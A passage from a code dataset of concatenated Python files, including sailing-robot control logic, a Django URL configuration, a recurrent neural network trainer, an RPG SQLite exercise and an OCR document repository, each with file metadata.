topRightWaypnt, botLeftWaypnt, botRightWaypnt):\n topLeftCoord = topLeftWaypnt.coordinate\n topRightCoord = topRightWaypnt.coordinate\n botLeftCoord = botLeftWaypnt.coordinate\n botRightCoord = botRightWaypnt.coordinate\n boxCoords = standardcalc.setBoxCoords(topLeftCoord, topRightCoord, botLeftCoord, botRightCoord) #boxCoords[0] = TL, boxCoords[1] = TR, boxCoords[2] = BR, boxCoords[3] = BL\n wayPtCoords = setWayPtCoords(boxCoords) #top, right, bottom, left\n spdList = [0.75]*10\n boxDistList = getBoxDist(boxCoords) #top, right, bottom, left\n meanSpd = 0.75 #from old arduino code\n arduino = gVars.arduino\n gVars.SKCurrentWaypnt = boxDistList.index(min(boxDistList))\n logger = SBLogger.logger()\n thread.start_new_thread(coresailinglogic.pointToPoint, boxCoords[gVars.SKCurrentWaypnt])\n logger.info(\"The current waypoint is \" + gVars.SKCurrentWaypnt + \". 0 means top, 1 means right, 2 means bottom, 3 means left\")\n logger.info(\"Station Keeping Initialization finished. Now running Station Keeping Challenge\")\n run(boxCoords, wayPtCoords, spdList, meanSpd, arduino, logger)\n return\n \ndef run(boxCoords, wayPtCoords, spdList, meanSpd, arduino, logger):\n exiting = 0\n while (((datetime.now() - gVars.taskStartTime).seconds < 300) and (gVars.kill_flagSK == 0)):\n secLeft = 300 - (datetime.now() - gVars.taskStartTime).seconds\n turning = 0\n SKTimer()\n boxDistList = getBoxDist(boxCoords)\n if (exiting == 0):\n if (standardcalc.isWPNoGo(gVars.currentData[sVars.AWA_INDEX],gVars.currentData[sVars.HOG_INDEX], gVars.SKCurrentWaypnt, gVars.currentData[sVars.SOG_INDEX], gVars.currentData[sVars.GPS_INDEX])):\n logger.info(\"The boat is sailing upwind. Changing current waypoint.\")\n gVars.SKCurrentWaypnt = (gVars.SKCurrentWaypnt + 1) % 4\n logger.info(\"The current waypoint is \" + gVars.SKCurrentWaypnt + \". 0 means top, 1 means right, 2 means bottom, 3 means left\")\n gVars.kill_flagPTP = 1\n thread.start_new_thread(coresailinglogic.pointToPoint, boxCoords[gVars.SKCurrentWaypnt])\n turning = 1\n if (boxDistList[gVars.SKCurrentWaypnt] < 5):\n logger.info(\"The boat is too close to an edge. Changing current waypoint.\")\n gVars.SKCurrentWaypnt = (gVars.SKCurrentWaypnt + 2) % 4\n logger.info(\"The current waypoint is \" + gVars.SKCurrentWaypnt + \". 0 means top, 1 means right, 2 means bottom, 3 means left\")\n gVars.kill_flagPTP = 1\n logger.info(\"Commencing gybe.\")\n if (gVars.currentData[sVars.AWA_INDEX] < 0):\n arduino.gybe(1)\n else:\n arduino.gybe(0)\n thread.start_new_thread(coresailinglogic.pointToPoint, boxCoords[gVars.SKCurrentWaypnt])\n turning = 1\n if (turning == 0):\n spdList = standardcalc.changeSpdList(spdList)\n meanSpd = standardcalc.meanOfList(spdList)\n logger.info(\"The mean speed of the boat is \" + meanSpd + \" metres per second.\")\n if (boxDistList[gVars.SKCurrentWaypnt] >= meanSpd*(secLeft+2)): #leeway of 2 seconds\n exiting = 1\n logger.info(\"Station Keeping event is about to end. Exiting to current waypoint.\")\n elif (boxDistList[(gVars.SKCurrentWaypnt + 2) % 4] >= meanSpd*(secLeft+2+4) ): #leeway of 2 seconds, 4 seconds for gybe\n gVars.SKCurrentWaypnt = (gVars.SKCurrentWaypnt + 2) % 4\n gVars.kill_flagPTP = 1\n logger.info(\"Station Keeping event is about to end. Gybing and exiting to waypoint \" + gVars.SKCurrentWaypnt)\n if (gVars.currentData[sVars.AWA_INDEX] < 0):\n arduino.gybe(1)\n else:\n arduino.gybe(0)\n thread.start_new_thread(coresailinglogic.pointToPoint, boxCoords[gVars.SKCurrentWaypnt])\n exiting = 1\n if (gVars.kill_flagSK == 1):\n logger.info(\"Station Keeping Kill Flag initialized. Station Keeping Challenge has been stopped.\")\n else:\n logger.info(\"Station Keeping Challenge timer has ended.\")\n boxDistList = getBoxDist(boxCoords)\n gVars.SKMinLeft = 0\n gVars.SKSecLeft = 0\n gVars.SKMilliSecLeft = 0\n gVars.kill_flagSK = 0\n gVars.SKCurrentWaypnt = None\n \n return","sub_path":"control/challenge/stationkeeping.py","file_name":"stationkeeping.py","file_ext":"py","file_size_in_byte":8737,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"20604800","text":"\"\"\"timetracker URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/1.8/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Add an import: from blog import urls as blog_urls\n 2. Add a URL to urlpatterns: url(r'^blog/', include(blog_urls))\n\"\"\"\nfrom django.conf.urls import include, url, patterns\nfrom django.contrib import admin\nfrom django.views.generic import TemplateView\n\nurlpatterns = [\n url(r'^$', 'timetracker.views.index', name=\"index\"),\n url(r'^activities/', include('timetrack.urls', namespace=\"timetrack\")),\n url(r'^login/$', 'timetracker.views.login_view', name=\"login\"),\n url(r'^loginuser/$', 'timetracker.views.login_user', name=\"login_user\"),\n url(r'^logout/$', 'timetracker.views.logout_user', name=\"logout_user\"),\n url(r'^admin/', include(admin.site.urls)),\n]\n\nurlpatterns += patterns(\n '',\n url(r'^404/$', TemplateView.as_view(template_name='404.html')),\n url(r'^500/$', TemplateView.as_view(template_name='500.html')),\n)\n","sub_path":"timetracker/timetracker/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1343,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"129875483","text":"def intersection(arrays):\n \"\"\"\n YOUR CODE HERE\n \"\"\"\n # Your code here\n result = []\n hash_table = {}\n count = len(arrays)\n\n for single_array in arrays:\n for number in single_array:\n if number not in hash_table:\n hash_table[number] = 1\n else:\n hash_table[number] += 1\n if hash_table[number] == len(arrays):\n result.append(number)\n # print(hash_table) \n return result\n\n\nif __name__ == \"__main__\":\n arrays = []\n\n arrays.append(list(range(1000000, 2000000)) + [1, 2, 3])\n arrays.append(list(range(2000000, 3000000)) + [1, 2, 3])\n arrays.append(list(range(3000000, 4000000)) + [1, 2, 3])\n\n print(intersection(arrays))\n","sub_path":"hashtables/ex3/ex3.py","file_name":"ex3.py","file_ext":"py","file_size_in_byte":754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"373308987","text":"# SCAR - Serverless Container-aware ARchitectures\n# Copyright (C) GRyCAP - I3M - UPV\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport yaml\nimport os\n\nclass Function:\n def __init__(self, name, image):\n self.name = name\n self.image_id = image\n\nclass YamlParser(object):\n \n def __init__(self, args):\n file_path = args.conf_file\n self.func = args.func\n if os.path.isfile(file_path):\n with open(file_path) as cfg_file:\n self.__setattr__(\"yaml_data\", yaml.safe_load(cfg_file))\n \n def parse_arguments(self):\n functions = []\n for function in self.yaml_data['functions']:\n functions.append(self.parse_function(function, self.yaml_data['functions'][function]))\n return functions[0]\n \n def parse_function(self, function_name, function_data):\n args = {'func' : self.func }\n # Get function name\n args['name'] = function_name\n # Parse function information\n if 'image' in function_data:\n args['image_id'] = function_data['image']\n if 'image_file' in function_data:\n args['image_file'] = function_data['image_file']\n if 'time' in function_data:\n args['time'] = function_data['time']\n if 'memory' in function_data:\n args['memory'] = function_data['memory']\n if 'timeout_threshold' in function_data:\n args['timeout_threshold'] = function_data['timeout_threshold']\n if 'lambda_role' in function_data:\n args['lambda_role'] = function_data['lambda_role']\n if 'description' in function_data:\n args['description'] = function_data['description']\n if 'init_script' in function_data:\n args['init_script'] = function_data['init_script']\n if 'run_script' in function_data:\n args['run_script'] = function_data['run_script'] \n if 'extra_payload' in function_data:\n args['extra_payload'] = function_data['extra_payload']\n if 'log_level' in function_data:\n args['log_level'] = function_data['log_level']\n if 'environment' in function_data:\n variables = []\n for k,v in function_data['environment'].items():\n variables.append(str(k) + '=' + str(v))\n args['environment_variables'] = variables\n # LOG COMMANDS\n if 'log_stream_name' in function_data:\n args['log_stream_name'] = function_data['log_stream_name']\n if 'request_id' in function_data:\n args['request_id'] = function_data['request_id']\n \n if 'data_binary' in function_data:\n args['data_binary'] = function_data['data_binary']\n \n if 's3' in function_data:\n s3_data = function_data['s3']\n if 'deployment_bucket' in s3_data:\n args['deployment_bucket'] = s3_data['deployment_bucket']\n if 'input_bucket' in s3_data:\n args['input_bucket'] = s3_data['input_bucket']\n if 'input_folder' in s3_data:\n args['input_folder'] = s3_data['input_folder']\n if 'output_bucket' in s3_data:\n args['output_bucket'] = s3_data['output_bucket']\n if 'output_folder' in s3_data:\n args['output_folder'] = s3_data['output_folder']\n if 'api_gateway' in function_data:\n api_data = function_data['api_gateway']\n if 'name' in api_data:\n args['api_gateway_name'] = api_data['name']\n if 'parameters' in api_data:\n args['parameters'] = api_data['parameters']\n return args\n ","sub_path":"src/parser/yaml.py","file_name":"yaml.py","file_ext":"py","file_size_in_byte":4206,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"599726622","text":"# coding=utf-8\nfrom collections import defaultdict\n\nimport pandas as pd\nfrom faker import Factory\nfrom sklearn.base import TransformerMixin, BaseEstimator\nfrom sklearn.utils import check_random_state\n\n# The default number of sample returned by generators\nNB_SAMPLE = 10\n\n\nclass TestGenerator(TransformerMixin, BaseEstimator):\n \"\"\"Generate random data in the form of a DataFrame for test purpose.\n\n Can generate:\n * categorical data from a sample\n * numeric data between a range\n * time series data as the index at a given start date and with a given frequency\n\n Parameters\n ----------\n freq: string (default='D')\n Frequency compliant with the pandas frequency aliases.\n start_date: string or datetime-like, (default='today')\n The first date of the index.\n categ_sample: list (default=('foo', 'bar'))\n The list of values used to generate categorical data.\n num_sample: list (default=('foo', 'bar'))\n The list of values used to generate categorical data.\n nb_sample: int (default=NB_SAMPLE)\n The number of sample (row) to generate.\n random_state : RandomState or an int seed (default=0)\n A random number generator instance to define the state of the random permutations generator.\n Returns\n -------\n df_converted\n The DataFrame with normalized columns.\n \"\"\"\n\n def __init__(self, freq='D', start_date='today', categ_sample=('foo', 'bar'), num_sample=(0, 100),\n nb_sample=NB_SAMPLE, random_state=0):\n self.freq = freq\n self.start_date = start_date\n self.categ_sample = categ_sample\n self.num_sample = num_sample\n self.nb_sample = nb_sample\n self.random_state = random_state\n\n def transform(self, X, **transform_params):\n random_state = check_random_state(self.random_state)\n # Generating a sample and selecting a subset to randomize them\n df = pd.DataFrame({'categ': random_state.choice(self.categ_sample, self.nb_sample),\n 'number': random_state.randint(self.num_sample[0], self.num_sample[1], self.nb_sample)\n },\n index=random_state.choice(\n pd.date_range(start=pd.to_datetime(self.start_date), periods=self.nb_sample * 3,\n freq=self.freq),\n self.nb_sample))\n # DateTimeIndex shall be sorted\n df.sort_index(inplace=True)\n return df\n\n def fit(self, X, y=None, **fit_params):\n # Does nothing\n return self\n\n\nclass FakeGenerator(TransformerMixin, BaseEstimator):\n \"\"\"A Fake generator wrapping the Faker data generator http://fake-factory.readthedocs.org/en/stable/.\n\n Parameters\n ----------\n fakes: list (default=('name', 'address', 'text']))\n The list of fake to generate, a column by fake will be generated\n locale: string (default=None)\n The locale to use, see the Faker documentation.\n nb_sample: int (default=NB_SAMPLE)\n The number of sample (row) to generate.\n random_state : RandomState or an int seed (default=0)\n A random number generator instance to define the state of the random permutations generator.\n\n Returns\n -------\n DataFrame\n Containing the fake values (a column by fake and `nb_sample` rows) with a default index.\n\n Raises\n ------\n ValueError\n If a fake is not supported.\n \"\"\"\n\n def __init__(self, fakes=('name', 'address', 'text'), locale=None, nb_sample=NB_SAMPLE, random_state=0):\n self.fakes = fakes\n self.locale = locale\n self.nb_sample = nb_sample\n self.random_state = random_state\n\n def transform(self, X, **transform_params):\n _data = defaultdict(list)\n faker = Factory.create(self.locale)\n random_state = check_random_state(self.random_state)\n faker.seed(self.random_state)\n for sample in range(self.nb_sample):\n for fk in self.fakes:\n try:\n _data[fk].append(getattr(faker, fk)())\n except AttributeError as e:\n _msg = 'Fake [%s] not supported' % fk\n raise Exception(_msg)\n return pd.DataFrame.from_dict(_data)\n\n def fit(self, X, y=None, **fit_params):\n # Does nothing\n return self","sub_path":"pyranha/io.py","file_name":"io.py","file_ext":"py","file_size_in_byte":4400,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"452251196","text":"import cv2\r\nimport numpy as np\r\n\r\ncam=cv2.VideoCapture(0)\r\n\r\nwhile True:\r\n k=cv2.waitKey(1)\r\n if k & 0xFF==ord('q'):\r\n break\r\n _,frame=cam.read()\r\n img=cv2.inRange(frame,np.array([0,0,0]),np.array([180,255,30]))\r\n im2,contours,hierarchy = cv2.findContours(img, 1, 2)\r\n for i in range(len(contours)):\r\n cnt = contours[i]\r\n area = cv2.contourArea(cnt)\r\n if area>200:\r\n print(area)\r\n cv2.imshow('Image',img)\r\n","sub_path":"Focal_length_calculation/fl_C.py","file_name":"fl_C.py","file_ext":"py","file_size_in_byte":466,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"613355007","text":"\"\"\"FormScribe meta classes.\"\"\"\n\n\nfrom formscribe.error import InvalidFieldError\n\n\nclass MetaField(type):\n \"\"\"Field metaclass.\"\"\"\n\n def __call__(cls, *args, **kwargs):\n instance = object.__new__(cls, *args, **kwargs)\n\n regex_attributes = [getattr(instance, attribute) for attribute in\n ('regex_group', 'regex_group_key', 'regex_key')]\n if any(regex_attributes) and not all(regex_attributes):\n raise InvalidFieldError('The following attributes are required:'\n ' regex_group, regex_group_key,'\n ' regex_key.')\n\n if instance.regex_key and instance.key:\n raise InvalidFieldError('The following attributes are incompatible:'\n ' regex_key, key.')\n\n if not instance.key and not all(regex_attributes):\n raise InvalidFieldError('Field must be either key-based or'\n ' regex-based.')\n\n instance.__init__()\n\n try:\n automatically_validate = kwargs['automatically_validate']\n except KeyError:\n try:\n automatically_validate = args[1]\n except IndexError:\n automatically_validate = True\n\n if automatically_validate:\n try:\n return instance.validate(kwargs['value'])\n except KeyError:\n try:\n return instance.validate(args[0])\n except IndexError:\n pass\n\n return instance\n","sub_path":"formscribe/meta.py","file_name":"meta.py","file_ext":"py","file_size_in_byte":1594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"613101452","text":"import numpy as np\nfrom mlp.activation_functions import Sigmoid\nfrom sklearn.metrics import accuracy_score\nfrom mlp import NeuralNet\nfrom mlp.util import BSSF\nfrom rnn import util\n\n\nclass BPTT(NeuralNet):\n def __init__(self, features=6, hidden=60, classes=7,\n u_back=(0, 20), u_forward=(-21, -1), v_range=(10, 50), k_back=1, k_forward=1,\n learning_rate=0.9, a_func=Sigmoid, max_epochs=1000, patience=20,\n validation_set=None, multi_vsets=False, classification=True):\n self.H = np.arange(hidden)\n # get correct indexes\n self._k = k_back\n self._j = k_forward\n # setup extra matrices and values\n self._hb = u_back\n self._hf = u_forward\n self._v = v_range\n # recurrent matrices\n self.V = self.input_matrix(features, *v_range)\n if u_back and k_back > 0:\n self.Ub = self.recurrent_matrix(*u_back)\n self.δb = self.delta_vecs(u_back, k_back)\n self.Zb = self.Z_vecs(hidden, k_back)\n self.Zin_b = self.Z_vecs(features, k_back)\n if u_forward and k_forward > 0:\n self.Uf = self.recurrent_matrix(*u_forward)\n self.δf = self.delta_vecs(u_forward, k_forward)\n self.Zf = self.Z_vecs(hidden, k_forward)\n self.Zin_f = self.Z_vecs(features, k_forward)\n super().__init__(features, hidden, classes, learning_rate, a_func, max_epochs, patience, validation_set,\n multi_vsets, classification)\n # overwrite W so there's only one\n self.W = np.random.randn(hidden, classes)\n print(\"BPTT!\")\n\n def fit(self, X, Y, multi_sets=False):\n epoch = 0\n Δp = 0\n bssf = BSSF(self.W, self.b, 0)\n if not multi_sets:\n X = [X]\n Y = [Y]\n while epoch < self._max_epochs and Δp < self._patience:\n idx = util.get_indices(X, multi_sets, self._k, self._j)\n for i, j in idx:\n self._forward_prop_tt(X[i], j)\n self._back_prop(Y[i][j])\n epoch += 1\n # Do validation check\n if self._VS:\n score = self.score(self._VS[0], self._VS[1], multi_sets=self._multi_vsets)\n if score > bssf.score:\n bssf = BSSF(self.W, self.b, score)\n Δp = 0\n else:\n Δp += 1\n # if training stopped because of patience, use bssf instead\n if self._VS and Δp >= self._patience:\n self.W = bssf.W\n self.b = bssf.b\n return epoch\n\n # region Predict and Score\n def predict(self, X, multi_sets=False):\n out = []\n if not multi_sets:\n X = [X]\n idx = util.get_indices(X, multi_sets, self._k, self._j, shuffle=False)\n for i, j in idx:\n z = self._forward_prop_tt(X[i], j)\n if self._classification:\n q = np.zeros(z.shape)\n q[z.argmax()] = 1.\n out.append(q)\n else:\n out.append(z)\n return np.array(out)\n\n def score(self, X, y, sample_weight=None, multi_sets=False):\n y2 = []\n if not multi_sets:\n y = [y]\n idx = util.get_indices(y, multi_sets, self._k, self._j, shuffle=False)\n for i, j in idx:\n y2.append(y[i][j])\n y2 = np.array(y2)\n predicted = self.predict(X, multi_sets)\n return accuracy_score(y2, predicted, sample_weight=sample_weight)\n # endregion\n\n def _forward_prop_tt(self, Xi, j):\n # initial activation of hidden layer\n self.Z[1] = np.ones(self.Z[1].shape)\n self.Z[1] *= .0001\n # backwards t\n if self.Ub is not None:\n t = self._k\n for i in range(self._k):\n x = Xi[j-t+i]\n xt = x.reshape(1, len(x))\n self.Zin_b[i] = xt\n self.Z[1][:,slice(*self._v)] += self.activation(xt.dot(self.V) + self.b[0][:, slice(*self._v)])\n self.Z[1][:,slice(*self._hb)] += self.activation(self.Z[1][:,slice(*self._hb)].dot(self.Ub) +\n self.b[0][:,slice(*self._hb)])\n self.Zb[i] = self.Z[1].copy()\n # t == 0\n x = Xi[j]\n self.x0 = x.reshape(1, len(x))\n self.Z[1][:,slice(*self._v)] += self.activation(self.x0.dot(self.V) + self.b[0][:,slice(*self._v)])\n # forwards t\n if self.Uf is not None:\n for i in range(self._j):\n x = Xi[j+i+1]\n xt = x.reshape(1, len(x))\n self.Z[1][:,slice(*self._v)] += self.activation(xt.dot(self.V) + self.b[0][:,slice(*self._v)])\n self.Z[1][:,slice(*self._hf)] += self.activation(self.Z[1][:,slice(*self._hf)].dot(self.Ub) +\n self.b[0][:,slice(*self._hf)])\n self.Zf[i] = self.Z[1].copy()\n # output layer\n self.Z[-1] = self.activation(self.Z[-2].dot(self.W) + self.b[-1])\n return self.Z[-1][0]\n\n def _back_prop(self, y):\n # output layer's delta: δ = (T-Z) * f'(net)\n self.δ[-1] = (y - self.Z[-1]) * self.f_prime(self.Z[-1])\n # compute deltas: δj = Σ[δk*Wjk] * f'(net)\n self.δ[0] = np.zeros(self.δ[0].shape) # initially clear\n # t backwards\n if self.Ub is not None:\n self.δb[-1] = np.tensordot(self.δ[-1], self.W, (1, 1))[:,slice(*self._hb)] * self.f_prime(self.Zb[-1][:,slice(*self._hb)])\n for i in range(self._k-1, 0, -1):\n self.δb[i-1] = np.tensordot(self.δb[i], self.Ub, (1, 1)) * self.f_prime(self.Zb[i][:,slice(*self._hb)])\n # t == 0\n self.δ[0][:,slice(*self._v)] = np.tensordot(self.δ[-1], self.W, (1, 1))[:,slice(*self._v)] * self.f_prime(self.Z[1][:,slice(*self._v)])\n # t forwards\n if self.Uf is not None:\n self.δf[-1] = np.tensordot(self.δ[-1], self.W, (1, 1))[:,slice(*self._hf)] * self.f_prime(self.Zf[-1][:,slice(*self._hf)])\n for i in range(self._j-1, 0, -1):\n self.δf[i-1] = np.tensordot(self.δf[i], self.Uf, (1, 1)) * self.f_prime(self.Zf[i][:,slice(*self._hf)])\n\n # update weights: ΔWij = C*δj*Zi\n # output layer\n self.W += self.C * np.outer(self.Z[1], self.δ[-1])\n self.b[-1] += self.C * self.δ[-1]\n # recurrent layers\n ΔV = np.zeros(self.V.shape)\n nv = np.zeros(self.V.shape)\n Δb = np.zeros(self.b[0].shape)\n nb = np.zeros(self.b[0].shape)\n # backwards\n if self.Ub is not None:\n ΔUb = np.zeros(self.Ub.shape)\n for i in range(self._k):\n ΔUb += self.C * np.outer(self.Zb[i][:,slice(*self._hf)], self.δb[i])\n ΔV[:,slice(*self._hb)] += self.C * np.outer(self.Zin_b[i], self.δb[i])\n nv[:,slice(*self._hb)] += 1\n Δb[:,slice(*self._hb)] += self.C * self.δb[i]\n nb[:,slice(*self._hb)] += 1\n ΔUb /= self._k\n self.Ub += ΔUb\n # t == 0\n ΔV += self.C * np.outer(self.x0, self.δ[0][:,slice(*self._v)])\n nv += 1\n Δb[:,slice(*self._v)] += self.C * self.δ[0][:,slice(*self._v)]\n nb[:,slice(*self._v)] += 1\n # forwards\n if self.Uf is not None:\n ΔUf = np.zeros(self.Uf.shape)\n for i in range(self._j):\n ΔUf += self.C * np.outer(self.Zf[i][:,slice(*self._hf)], self.δf[i])\n ΔV[:,slice(*self._hf)] += self.C * np.outer(self.Zin_f[i], self.δf[i])\n nv[:,slice(*self._hf)] += 1\n Δb[:,slice(*self._hf)] += self.C * self.δf[i]\n nb[:,slice(*self._hf)] += 1\n ΔUf /= self._j\n self.Uf += ΔUf\n ΔV /= nv\n Δb = Δb / nb\n self.V += ΔV\n self.b[0] += Δb\n\n def recurrent_matrix(self, start, stop):\n _len = self.H[stop] - self.H[start]\n return np.random.randn(_len, _len)\n\n def input_matrix(self, f, start, stop):\n _len = self.H[stop] - self.H[start]\n return np.random.randn(f, _len)\n\n def delta_vecs(self, h, k):\n start, stop = h\n _len = self.H[stop] - self.H[start]\n δ = []\n for i in range(k):\n δ.append(np.zeros(_len))\n return δ\n\n def Z_vecs(self, hidden, k):\n _Z = []\n for i in range(k):\n _Z.append(np.zeros(hidden))\n return _Z","sub_path":"rnn/bptt.py","file_name":"bptt.py","file_ext":"py","file_size_in_byte":8550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"74797797","text":"\n\nimport sqlite3\nimport os\n\"\"\"\n- How many total Characters are there?\n- How many of each specific subclass?\n- How many total Items?\n- How many of the Items are weapons? How many are not?\n- How many Items does each character have? (Return first 20 rows)\n- How many Weapons does each character have? (Return first 20 rows)\n- On average, how many Items does each Character have?\n- On average, how many Weapons does each character have?\n\n\"\"\"\n\ndef connect_to_db(db_name=\"rpg_db.sqlite3\"):\n return sqlite3.connect(db_name)\n\ndef execute_query(cursor, query):\n cursor.execute(query)\n return cursor.fetchall()\nGET_CHARACTERS = \"\"\"\nSELECT count(character_id) FROM charactercreator_character;\n-- how many total characters are there\n\"\"\"\nGET_CHARACTERS = \"\"\"\nSELECT count(character_id) FROM charactercreator_character;\n-- how each specific sub class\n\"\"\"\n\n\n\n\nif __name__ == \"__main__\":\n conn = connect_to_db()\n curs = conn.cursor()\n results = execute_query(curs, GET_CHARACTERS)\n print(results)\n\n\n","sub_path":"module1-introduction-to-sql/rpg_work.py","file_name":"rpg_work.py","file_ext":"py","file_size_in_byte":1004,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"628598270","text":"from models import DigitalDocumentModel\nfrom utilities import ObjectValidation\nfrom anuvaad_auditor.errorhandler import post_error\nfrom datetime import datetime\nimport uuid\nfrom utilities import AppContext\nfrom anuvaad_auditor.loghandler import log_info, log_exception\nimport json\n\nvalidator=ObjectValidation()\n\nclass DigitalDocumentRepositories:\n \n def __init__(self):\n self.docModel=DigitalDocumentModel()\n\n def store(self, userID, recordID, files): \n try:\n for file in files:\n\n # recordID= recordID\n jobID= recordID.split('|')[0]\n fileID=file['file']['identifier']\n file_name=file['file']['name']\n locale=file['config']['language']\n file_type=file['file']['type']\n\n pages =file['pages']\n log_info(\"DigitalDocumentRepo save document for user: {}| record: {}| count of pages received: {}\".format(userID,recordID,str(len(pages))), AppContext.getContext())\n \n blocks=[] \n for page in pages:\n block=self.create_regions_from_page(userID,jobID,recordID,fileID,file_name,locale,file_type,page)\n if len(block.keys())>5:\n blocks.append(block)\n else:\n return block\n log_info('DigitalDocumentRepo page blocks created for insert, user_id:{}, record_id:{}, block length:{}'.format(userID, recordID,str(len(blocks))), AppContext.getContext())\n result=self.docModel.store_bulk_blocks(blocks)\n if result == False:\n return False \n except Exception as e:\n AppContext.addRecordID(recordID)\n log_exception('Exception on save document | DigitalDocumentRepo :{}'.format(str(e)), AppContext.getContext(), e)\n return post_error(\"Data Missing\",\"Failed to store doc since :{}\".format(str(e)),None)\n \n\n\n def update_words(self, user_id, words):\n\n for word in words:\n Validation= validator.update_word_validation(word)\n if Validation is not None:\n return Validation\n\n page=word['page_no']\n region_id=word['region_id']\n word_id=word['word_id']\n record_id=word['record_id']\n user_word = word['updated_word']\n\n AppContext.addRecordID(record_id)\n log_info(\"DigitalDocumentRepo update word request\", AppContext.getContext())#str(page)\n region_to_update= self.docModel.get_word_region(user_id,record_id,region_id,page)\n if region_to_update:\n if region_to_update['identifier']== region_id :\n region_to_update['updated']=True\n for data in region_to_update['regions']:\n for word in data['regions']:\n if word['identifier']==word_id:\n word['ocr_text']=word['text']\n word['text']=user_word\n break\n else:\n pass\n # return post_error(\"Data Missing\",\"No record with the given user_id,record_id and word_id\",None)\n else:\n return post_error(\"Data Missing\",\"No record with the given user_id,record_id and region_id\",None)\n \n \n AppContext.addRecordID(record_id)\n log_info(\"DigitalDocumentRepo update word region :{}\".format(str(region_to_update)), AppContext.getContext())\n print(region_to_update)\n if self.docModel.update_word(user_id,record_id,region_id,region_to_update,page) == False:\n return post_error(\"Data Missing\",\"Failed to update word since data is missing\",None)\n return True\n\n\n def get_pages(self, record_id, start_page=1, end_page=5):\n\n total_page_count = self.docModel.get_document_total_page_count(record_id)\n if start_page == 0 and end_page == 0:\n start_page = 1\n end_page = total_page_count\n \n if start_page == 0:\n start_page = 1\n if end_page == 0:\n end_page = 5\n if start_page > end_page:\n return False\n if start_page > total_page_count:\n return False\n\n AppContext.addRecordID(record_id)\n log_info(\"DigitalDocumentRepo fetching doc by pages for record_id:{}\".format(str(record_id)), AppContext.getContext())\n pages = []\n data = {}\n data_page = []\n for i in range(start_page, end_page+1):\n page_block = self.docModel.get_record_by_page(record_id, i)\n if page_block == False:\n return False\n else:\n data_page.append(page_block)\n \n \n pg_block_formated=self.format_page_data(data_page)\n\n data['pages'] = pg_block_formated\n data['start_page'] = start_page\n data['end_page'] = end_page\n data['total'] = total_page_count\n return data\n\n \n def create_regions_from_page(self,userID,jobID,recordID,fileID,file_name,locale,file_type,page):\n try:\n AppContext.addRecordID(recordID)\n log_info('DigitalDocumentRepo page blocks creation started for record_id:{}, page_number:{}'.format(recordID,str(page['page_no'])), AppContext.getContext())\n block_info = {}\n block_info['userID']=userID\n block_info['jobID']=jobID\n block_info['recordID']=recordID\n block_info['file_identifier']=fileID\n block_info['file_name']=file_name\n block_info['file_locale']=locale\n block_info['file_type']= file_type\n block_info['created_on']=datetime.utcnow()\n\n\n page_info = {}\n page_info['page_no'] = page['page_no'] + 1\n page_info['page_identifier'] = page['identifier']\n page_info['page_boundingBox'] = page['boundingBox']\n page_info['page_img_path'] = page['path']\n if 'resolution' in page.keys():\n page_info['page_resolution'] = page['resolution']\n\n block_info['page_info'] = page_info\n\n block_info['regions'] = page['regions']\n return block_info\n except Exception as e:\n AppContext.addRecordID(recordID)\n log_exception('Exception on save document | DigitalDocumentRepo :{}'.format(str(e)), AppContext.getContext(), e)\n return post_error(\"Data Missing\",\"Failed to store doc since data is missing\",None)\n\n\n def format_page_data(self,page_blocks):\n block1 = page_blocks[0]\n pages = {}\n file = {}\n if \"file_identifier\" in block1:\n file[\"identifier\"] = block1[\"file_identifier\"]\n file[\"name\"] = block1[\"file_name\"]\n file[\"type\"] = block1[\"file_type\"]\n config = {}\n config[\"language\"] = block1[\"file_locale\"]\n\n pages[\"file\"] = file\n pages[\"config\"] = config\n pages[\"pages\"] = []\n for block in page_blocks:\n if block == None:\n pages[\"pages\"].append(None)\n continue\n block_info = {}\n block_info[\"identifier\"]= block[\"page_info\"][\"page_identifier\"]\n block_info[\"resolution\"]= block[\"page_info\"][\"page_resolution\"]\n block_info[\"path\"] = block[\"page_info\"][\"page_img_path\"]\n block_info[\"boundingBox\"]= block[\"page_info\"][\"page_boundingBox\"]\n block_info[\"page_no\"] = block[\"page_info\"][\"page_no\"]\n block_info[\"regions\"] = block[\"regions\"]\n\n pages[\"pages\"].append(block_info)\n return pages\n\n \n\n\n\n\n","sub_path":"anuvaad-etl/anuvaad-extractor/ocr-content-handler/src/repositories/ocr_document.py","file_name":"ocr_document.py","file_ext":"py","file_size_in_byte":8074,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"406832584","text":"# -*- coding: utf-8 -*-\n'''\nГенерация word2vector моделей для слов и частей слов.\nИспользуется возможность gensim брать текст из генератора.\n'''\n\nfrom __future__ import print_function\nfrom gensim.models import word2vec\nimport logging\nimport os\nimport random\nfrom collections import Counter\n\n\n# ----------------------------------------------------------------------------\n\n# Будем генерировать корпус с частями слов на лету, читая по одному 